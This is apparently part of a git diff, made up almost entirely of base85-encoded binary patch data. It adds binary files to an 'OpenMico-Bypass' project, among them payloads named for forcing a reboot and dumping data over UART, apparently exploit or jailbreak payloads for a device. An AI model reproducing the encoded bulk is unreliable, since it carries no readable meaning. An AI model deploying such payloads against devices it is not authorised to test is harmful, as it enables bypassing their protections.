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 WM**9dM*tuLurR$e0002*zOCNVoEHB8 literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/payloads/generic_reboot_payload.bin b/OpenMico-Bypass/payloads/generic_reboot_payload.bin new file mode 100644 index 0000000000000000000000000000000000000000..6888ce3e43d3b866e9ec9fcd0a9b1521a77b4905 GIT binary patch literal 48 zcmZQH=zk>qU;iPyx8t`$!D<(&jEM=%o`MOEpE#AIGoljzJ!jZ2!oZ*;#Q+2a3<3bD C(GJf5 literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/payloads/generic_uart_dump_payload.bin b/OpenMico-Bypass/payloads/generic_uart_dump_payload.bin new file mode 100644 index 0000000000000000000000000000000000000000..6081304229403664015df43255966ae7f3fa45a5 GIT binary patch literal 312 zcmZQH=zk>qU;iP;R{t*yh71Y}AIyHRdpmwB6s&fM%9xnI>?xSw_=!^~IwLCa-*blj zA`A>lLW~RyEZ)^F(izMjMHsmX#NvEQHTzWm_M?sor2O#`nRgUbCM6%&AX z!4H?8F27vXI5A${`{F~pb*wa}#1CeM|KBhCw~l2rVgA6+4B?;npUlp9VU5$viym(O zzn}dt@`0a?u)Y4MlZH42gpB9`7aF-mlnO;rY1&XBksy)^)iPM?opsoBKit_d zjm;V%QaInR(xD-f!2gRxJX<`s2g-N|}&9 z@p5r!aJd63z6FF6PJI&44h>j`QM@x>>u74%JG$D9j=@c?bK@E9n4ImARv`mh(qd^* zM!o)6x^Zd^L=@!booz=)`C>p4qz-EfR{RSiB%y~8wn3))q{3N34rz~lMZ#sBNNxNs zB{(0EkhKZO^rhOEpg+~UOpI%kkiA<<5#_-68ELS|K^!{!==EM~Pt zpHoU8cI9Gz@)9o}(|hFW2h*bRUEme8OA5JXSx*?Rt`S~Nifg0+JFgvU7;A2TU(Dtb 